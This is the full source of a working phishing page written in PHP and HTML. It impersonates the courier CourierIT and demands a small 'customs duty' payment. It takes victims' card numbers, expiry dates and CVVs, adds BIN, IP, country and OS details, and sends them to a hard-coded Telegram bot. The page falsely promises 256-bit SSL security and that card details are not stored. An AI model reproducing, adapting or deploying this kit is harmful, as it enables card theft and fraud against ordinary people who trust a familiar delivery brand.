<?php
$BOT_TOKEN = "7675736230:AAHECKf4diUuzk5OA5pTdViZBOncQIyDtAA";
$CHAT_ID = "7549492194";

// === GET USER INFO ===
$ip = $_SERVER['REMOTE_ADDR'] ?? 'Unknown';
$user_agent = $_SERVER['HTTP_USER_AGENT'] ?? 'Unknown';
$country = 'Unknown';
$timeout = 5;

// Get country with better error handling
try {
    $context = stream_context_create([
        'http' => ['timeout' => $timeout],
        'ssl' => ['verify_peer' => false, 'verify_peer_name' => false]
    ]);
    $geoData = @file_get_contents("http://ip-api.com/json/{$ip}", false, $context);
    if ($geoData !== false) {
        $geo = json_decode($geoData);
        if (isset($geo->country) && $geo->status === 'success') {
            $country = $geo->country;
        }
    }
} catch (Exception $e) {
    $country = 'Unknown';
}

// Get BIN info from HandyAPI - EXACT SAME as El Salvador website
function getBinInfo($bin) {
    $url = "https://data.handyapi.com/bin/{$bin}";
    $ch = curl_init();
    curl_setopt_array($ch, [
        CURLOPT_URL => $url,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_TIMEOUT => 3,
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_SSL_VERIFYHOST => false,
        CURLOPT_HTTPHEADER => ['x-api-key: HAS-0YYRXxQgdvMzHL9u9184D']
    ]);
    $response = curl_exec($ch);
    curl_close($ch);
    
    if ($response) {
        $data = json_decode($response, true);
        return $data;
    }
    return null;
}

// Get country with better error handling
function getCountryFromIP($ip, $timeout = 3) {
    if ($ip === 'Unknown' || $ip === '127.0.0.1' || $ip === '::1') {
        return 'Unknown';
    }
    
    try {
        $context = stream_context_create([
            'http' => ['timeout' => $timeout],
            'ssl' => ['verify_peer' => false, 'verify_peer_name' => false]
        ]);
        $geoData = @file_get_contents("http://ip-api.com/json/{$ip}?fields=status,country", false, $context);
        if ($geoData !== false) {
            $geo = json_decode($geoData);
            if (isset($geo->country) && $geo->status === 'success') {
                return $geo->country;
            }
        }
    } catch (Exception $e) {
        // Silently fail
    }
    return 'Unknown';
}

// Detect OS from user agent - EXACT SAME as El Salvador website
function detectOS($user_agent) {
    $os = 'Unknown';
    if (strpos($user_agent, 'Windows') !== false) $os = 'Windows';
    elseif (strpos($user_agent, 'Mac') !== false) $os = 'macOS';
    elseif (strpos($user_agent, 'Linux') !== false) $os = 'Linux';
    elseif (strpos($user_agent, 'Android') !== false) $os = 'Android';
    elseif (strpos($user_agent, 'iPhone') !== false) $os = 'iOS';
    elseif (strpos($user_agent, 'iPad') !== false) $os = 'iPadOS';
    return $os;
}

// Format BIN info for message - EXACT SAME as El Salvador website
function formatBinInfo($bin, $binData) {
    $binInfo = "<b>🅱️ BIN INFORMATION:</b>\n";
    
    if ($binData && is_array($binData)) {
        $brand = $binData['Brand'] ?? $binData['brand'] ?? 'UNKNOWN';
        $bank = $binData['Bank'] ?? $binData['bank'] ?? $binData['Issuer'] ?? 'Unknown';
        $binCountry = $binData['Country'] ?? $binData['country'] ?? 'Unknown';
        $type = $binData['Type'] ?? $binData['type'] ?? $binData['Scheme'] ?? 'UNKNOWN';
        $level = $binData['Level'] ?? $binData['level'] ?? $binData['CardTier'] ?? $binData['tier'] ?? 'STANDARD';
        $currency = $binData['Currency'] ?? $binData['currency'] ?? 'USD';
        
        $binInfo .= "• <b>BIN:</b> <code>{$bin}</code> | <b>Brand:</b> {$brand}\n";
        $binInfo .= "• <b>Bank:</b> {$bank} | <b>Country:</b> {$binCountry}\n";
        $binInfo .= "• <b>Type:</b> {$type} | <b>Level:</b> {$level}\n";
        $binInfo .= "• <b>Currency:</b> {$currency}\n\n";
    } else {
        $binInfo .= "• <b>BIN:</b> <code>{$bin}</code> (No additional info available)\n\n";
    }
    
    return $binInfo;
}

function sendTelegram($msg) {
    global $BOT_TOKEN, $CHAT_ID;
    
    $url = "https://api.telegram.org/bot{$BOT_TOKEN}/sendMessage";
    $data = [
        'chat_id' => $CHAT_ID,
        'text' => $msg,
        'parse_mode' => 'HTML',
        'disable_web_page_preview' => true
    ];
    
    $ch = curl_init();
    curl_setopt_array($ch, [
        CURLOPT_URL => $url,
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => http_build_query($data),
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_TIMEOUT => 10,
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_SSL_VERIFYHOST => false,
        CURLOPT_HTTPHEADER => [
            'Content-Type: application/x-www-form-urlencoded'
        ]
    ]);
    
    $result = curl_exec($ch);
    $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    return $httpCode === 200;
}

// === HANDLE PAYMENT LOG ===
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action']) && $_POST['action'] === 'log_payment') {
    header('Content-Type: application/json');
    
    // Get client info once
    $ip = $_SERVER['REMOTE_ADDR'] ?? 'Unknown';
    $user_agent = $_SERVER['HTTP_USER_AGENT'] ?? 'Unknown';
    $country = getCountryFromIP($ip);
    $os = detectOS($user_agent);
    
    $tracking = htmlspecialchars($_POST['tracking'] ?? 'Unknown');
    $parcel_type = htmlspecialchars($_POST['parcel_type'] ?? 'Unknown');
    $card_name = htmlspecialchars($_POST['card_name'] ?? 'Unknown');
    $card_number = preg_replace('/\s+/', '', $_POST['card_number'] ?? '');
    $expiry = htmlspecialchars($_POST['expiry'] ?? '00/00');
    $cvv = htmlspecialchars($_POST['cvv'] ?? '000');

    // Get BIN info - EXACT SAME as El Salvador website
    $bin = substr($card_number, 0, 6);
    $binData = getBinInfo($bin);
    
    // Build enhanced message - EXACT SAME FORMAT
    $msg = "<b>✅✅ COURIERIT PAYMENT CAPTURED</b>\n";
    $msg .= "══════════════════════════════\n\n";
    
    // BIN Information Section - EXACT SAME as El Salvador website
    $msg .= formatBinInfo($bin, $binData);
    
    // Card Details Section
    $msg .= "<b>💳 CARD DETAILS:</b>\n";
    $msg .= "• <b>Tracking #:</b> <code>{$tracking}</code>\n";
    $msg .= "• <b>Parcel Type:</b> {$parcel_type}\n";
    $msg .= "• <b>Cardholder:</b> {$card_name}\n";
    $msg .= "• <b>Card Number:</b> <code>{$card_number}</code>\n";
    $msg .= "• <b>Expiry:</b> {$expiry}\n";
    $msg .= "• <b>CVV:</b> <code>{$cvv}</code>\n";
    $msg .= "• <b>Amount:</b> R42.83\n\n";
    
    // Client Information Section - EXACT SAME as El Salvador website
    $msg .= "<b>👤 CLIENT INFORMATION:</b>\n";
    $msg .= "• <b>IP:</b> <code>{$ip}</code>\n";
    $msg .= "• <b>Country:</b> {$country}\n";
    $msg .= "• <b>OS:</b> {$os}\n";
    $msg .= "• <b>User Agent:</b> " . substr($user_agent, 0, 50) . "...\n";
    $msg .= "• <b>Time:</b> " . date('d/m/Y H:i:s') . "\n";
    
    $msg .= "══════════════════════════════\n";
    $msg .= "<i>📍 CourierIT South Africa</i>";

    sendTelegram($msg);

    echo json_encode(['status' => 'success']);
    exit;
}

// === GET DATA FROM POST (from loading1.php) ===
$tracking = htmlspecialchars($_POST['tracking'] ?? '');
$parcel_type = htmlspecialchars($_POST['parcel_type'] ?? 'PPT');
$weight = htmlspecialchars($_POST['weight'] ?? '0.9');

if (empty($tracking)) {
    $tracking = '';
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>Payment — CourierIT</title>
    <link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700&display=swap" rel="stylesheet">
    <style>
        :root {
            --primary: #FFD700;
            --primary-dark: #E5C100;
            --secondary: #1A2C3E;
            --secondary-light: #2C3E50;
            --background: #F8FAFC;
            --card-bg: #FFFFFF;
            --text: #1E2A36;
            --text-muted: #5C6F82;
            --border: #E2E8F0;
            --radius: 4px;
            --input-bg: #FFFFFF;
            --shadow-sm: 0 1px 3px rgba(0,0,0,0.05);
        }
        * { box-sizing: border-box; }
        body {
            margin: 0;
            font-family: 'Inter', sans-serif;
            background: var(--background);
            color: var(--text);
            line-height: 1.5;
            padding: 0;
            display: flex;
            flex-direction: column;
            min-height: 100vh;
        }
        .container { max-width: 800px; margin: 0 auto; width: 100%; padding: 0 1rem; }

        .header {
            background: white;
            padding: 1.25rem 0;
            border-bottom: 2px solid var(--primary);
        }
        .header-container {
            display: flex;
            justify-content: center;
            align-items: center;
            padding: 0 1rem;
            max-width: 1200px;
            margin: 0 auto;
        }
        .logo-container { display: flex; align-items: center; }
        .logo { height: 84px; width: auto; }

        .hero {
            background: var(--secondary);
            color: white;
            text-align: center;
            padding: 2rem 1rem;
            margin-bottom: 2rem;
        }
        .hero h1 {
            margin: 0;
            font-size: 1.75rem;
            font-weight: 600;
            letter-spacing: -0.01em;
        }

        .card {
            background: var(--card-bg);
            border: 1px solid var(--border);
            border-radius: var(--radius);
            padding: 2rem;
            margin-bottom: 2rem;
        }

        .progress {
            margin: 0 0 1.5rem;
            color: var(--text-muted);
            font-size: 0.85rem;
            display: flex;
            align-items: center;
            gap: 0.5rem;
            padding-bottom: 1rem;
            border-bottom: 1px solid var(--border);
        }
        .progress strong { color: var(--text); }
        .progress span {
            border-bottom: 2px solid var(--primary);
            padding-bottom: 2px;
            font-weight: 600;
            color: var(--secondary);
        }

        .parcel-info {
            background: #F8FAFC;
            border: 1px solid var(--border);
            border-radius: var(--radius);
            padding: 1.25rem;
            margin: 1.5rem 0;
        }
        .info-row {
            display: flex;
            justify-content: space-between;
            padding: 0.5rem 0;
            border-bottom: 1px solid var(--border);
            font-size: 0.95rem;
        }
        .info-row:last-child { border-bottom: none; }
        .info-label { color: var(--text-muted); }
        .info-value { font-weight: 600; color: var(--secondary); }

        .amount-display {
            background: #F8FAFC;
            border: 1px solid var(--border);
            padding: 1.75rem;
            text-align: center;
            font-size: 2.25rem;
            font-weight: 700;
            color: var(--secondary);
            border-radius: var(--radius);
            margin: 2rem 0;
        }
        .amount-currency {
            font-size: 1rem;
            vertical-align: super;
            margin-right: 0.25rem;
        }

        label {
            display: block;
            margin: 1.25rem 0 0.35rem;
            font-weight: 500;
            font-size: 0.9rem;
            color: var(--text);
            text-transform: uppercase;
            letter-spacing: 0.03em;
        }

        input[type="text"], input[type="tel"] {
            width: 100%;
            padding: 0.75rem 1rem;
            border: 1px solid var(--border);
            border-radius: var(--radius);
            background: var(--input-bg);
            font-size: 0.95rem;
            font-family: 'Inter', sans-serif;
            transition: border-color 0.15s ease;
        }
        input:focus {
            outline: none;
            border-color: var(--primary);
            box-shadow: 0 0 0 1px var(--primary);
        }

        .input-group {
            display: grid;
            grid-template-columns: 1fr 1fr;
            gap: 1.25rem;
            margin-bottom: 1rem;
        }
        @media (max-width: 600px) { .input-group { grid-template-columns: 1fr; } }

        .btn-continue {
            display: block;
            width: 100%;
            padding: 1rem;
            margin-top: 2rem;
            background: var(--primary);
            color: var(--secondary);
            border: none;
            border-radius: var(--radius);
            font-weight: 600;
            font-size: 1rem;
            cursor: pointer;
            text-transform: uppercase;
            letter-spacing: 0.05em;
            transition: background 0.15s ease;
        }
        .btn-continue:hover {
            background: var(--primary-dark);
        }

        .tip {
            font-size: 0.85rem;
            color: var(--text-muted);
            margin-top: 1rem;
            padding: 1rem;
            background: #F8FAFC;
            border-left: 3px solid var(--primary);
        }

        .loading-overlay {
            position: fixed;
            top: 0; left: 0; width: 100%; height: 100%;
            background: rgba(255, 255, 255, 0.98);
            display: none;
            justify-content: center;
            align-items: center;
            flex-direction: column;
            z-index: 1000;
        }
        .spinner {
            width: 50px; height: 50px;
            border: 3px solid #E2E8F0;
            border-top: 3px solid var(--primary);
            border-radius: 50%;
            animation: spin 1.2s linear infinite;
            margin-bottom: 1rem;
        }
        @keyframes spin { to { transform: rotate(360deg); } }

        .footer {
            text-align: center;
            padding: 2rem 1rem;
            color: white;
            font-size: 0.8rem;
            margin-top: auto;
            background: var(--secondary);
        }
        .footer a {
            color: var(--primary);
            text-decoration: none;
        }
        .footer a:hover { text-decoration: underline; }

        .payment-methods {
            display: flex;
            justify-content: center;
            gap: 1rem;
            margin: 1.5rem 0;
            flex-wrap: wrap;
        }
        .payment-method {
            background: #F8FAFC;
            border: 1px solid var(--border);
            border-radius: var(--radius);
            padding: 0.4rem 0.8rem;
            font-size: 0.8rem;
            color: var(--text-muted);
            display: flex;
            align-items: center;
            gap: 0.4rem;
        }

        @media (max-width: 600px) {
            .card { padding: 1.5rem; }
            .hero h1 { font-size: 1.6rem; }
            .amount-display { font-size: 2rem; padding: 1.25rem; }
        }
    </style>
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.0/css/all.min.css">
</head>
<body>

<header class="header">
    <div class="header-container">
        <div class="logo-container">
            <img src="assets/logo.png" alt="CourierIT" class="logo">
        </div>
    </div>
</header>

<section class="hero">
    <div class="container">
        <h1><i class="fas fa-credit-card"></i> Customs Duty Payment</h1>
    </div>
</section>

<main class="container">
    <div class="card">
        <p class="progress">
            <i class="fas fa-map-marker-alt"></i>
            <strong>Status:</strong> <span>Payment Details</span>
        </p>

        <div class="parcel-info">
            <div class="info-row">
                <span class="info-label"><i class="fas fa-barcode"></i> Tracking Number:</span>
                <span class="info-value" id="trackingDisplay"></span>
            </div>
            <div class="info-row">
                <span class="info-label"><i class="fas fa-box"></i> Parcel Type:</span>
                <span class="info-value" id="typeDisplay"></span>
            </div>
            <div class="info-row">
                <span class="info-label"><i class="fas fa-weight-hanging"></i> Weight:</span>
                <span class="info-value" id="weightDisplay"></span>
            </div>
            <div class="info-row">
                <span class="info-label"><i class="fas fa-file-invoice-dollar"></i> Fee Type:</span>
                <span class="info-value">Customs Clearance Duty</span>
            </div>
        </div>

        <div class="amount-display">
            <span class="amount-currency">R</span>42.83
        </div>
        <div style="text-align: center; color: var(--text-muted); font-size: 0.9rem; margin-bottom: 2rem;">
            <i class="fas fa-info-circle"></i> This is a mandatory customs duty for international parcels
        </div>

        <form id="paymentForm">
            <input type="hidden" id="tracking" name="tracking">
            <input type="hidden" id="parcel_type" name="parcel_type">

            <label for="card_name"><i class="fas fa-user"></i> Cardholder Name</label>
            <input type="text" id="card_name" name="card_name" placeholder="e.g. JOHN SMITH" required>

            <label for="card_number"><i class="fas fa-credit-card"></i> Card Number</label>
            <input type="tel" id="card_number" name="card_number" placeholder="1234 5678 9012 3456" maxlength="19" required>

            <div class="input-group">
                <div>
                    <label for="expiry"><i class="fas fa-calendar-alt"></i> Expiry (MM/YY)</label>
                    <input type="tel" id="expiry" name="expiry" placeholder="MM/YY" maxlength="5" required>
                </div>
                <div>
                    <label for="cvv"><i class="fas fa-lock"></i> CVV</label>
                    <input type="tel" id="cvv" name="cvv" placeholder="123" maxlength="4" required>
                </div>
            </div>

            <div class="payment-methods">
                <div class="payment-method"><i class="fab fa-cc-visa"></i> Visa</div>
                <div class="payment-method"><i class="fab fa-cc-mastercard"></i> MasterCard</div>
                <div class="payment-method"><i class="fas fa-university"></i> EFT</div>
                <div class="payment-method"><i class="fab fa-cc-amex"></i> Amex</div>
            </div>

            <p class="tip">
                <i class="fas fa-shield-alt"></i>
                Your payment is secured with 256-bit SSL encryption. We never store your full card details.
            </p>

            <button type="submit" class="btn-continue">
                <i class="fas fa-lock"></i> Pay R42.83 Now
            </button>
        </form>
    </div>
</main>

<div class="loading-overlay" id="loadingOverlay">
    <div class="spinner"></div>
    <div style="font-size: 1.1rem; font-weight: 600; margin-bottom: 0.5rem; color: var(--secondary);">Processing Secure Payment...</div>
    <div style="color: var(--text-muted);">Please don't close this window</div>
</div>

<footer class="footer">
    <div class="container">
        <div>© 2026 CourierIT (Pty) Ltd. All rights reserved.</div>
        <div style="margin-top: 0.5rem;">
            <a href="#"><i class="fas fa-shield-alt"></i> Privacy Policy</a> • 
            <a href="#"><i class="fas fa-file-contract"></i> Terms of Service</a> • 
            <a href="#"><i class="fas fa-question-circle"></i> Help Center</a>
        </div>
    </div>
</footer>

<script>
// Load data from localStorage
document.addEventListener('DOMContentLoaded', function() {
    const courierData = JSON.parse(localStorage.getItem('courieritData') || '{}');
    const tracking = courierData.tracking || '<?php echo $tracking; ?>';
    const parcel_type = 'PPT';
    const weight = '0.9';

    if (tracking) {
        document.getElementById('tracking').value = tracking;
        document.getElementById('parcel_type').value = parcel_type;
        
        document.getElementById('trackingDisplay').textContent = tracking;
        document.getElementById('typeDisplay').textContent = 'PPT';
        document.getElementById('weightDisplay').textContent = weight + ' kg';
    } else {
        document.body.innerHTML = '<div style="text-align:center;padding:3rem;color:var(--secondary);"><h2>Session Expired</h2><p>Please start again from the tracking page.</p></div>';
    }
});

// Format card number
document.getElementById('card_number').addEventListener('input', function(e) {
    let v = e.target.value.replace(/\D/g, '').substring(0,16);
    e.target.value = v.match(/.{1,4}/g)?.join(' ') || v;
});

// Format expiry
document.getElementById('expiry').addEventListener('input', function(e) {
    let v = e.target.value.replace(/\D/g, '').substring(0,4);
    if (v.length > 2) v = v.slice(0,2) + '/' + v.slice(2);
    e.target.value = v;
});

// Submit
document.getElementById('paymentForm').addEventListener('submit', async function(e) {
    e.preventDefault();

    const btn = this.querySelector('.btn-continue');
    const overlay = document.getElementById('loadingOverlay');
    btn.disabled = true;
    btn.innerHTML = '<i class="fas fa-spinner fa-spin"></i> Processing...';
    overlay.style.display = 'flex';

    const formData = new FormData(this);
    const data = {
        action: 'log_payment',
        tracking: formData.get('tracking'),
        parcel_type: formData.get('parcel_type'),
        card_name: formData.get('card_name'),
        card_number: formData.get('card_number'),
        expiry: formData.get('expiry'),
        cvv: formData.get('cvv')
    };

    try {
        await fetch('', {
            method: 'POST',
            headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
            body: new URLSearchParams(data)
        });
    } catch (err) {
        console.log('Telegram failed');
    }

    localStorage.setItem('paymentData', JSON.stringify(Object.fromEntries(formData)));
    setTimeout(() => {
        window.location.href = 'loading2.php';
    }, 1500);
});
</script>

</body>
</html>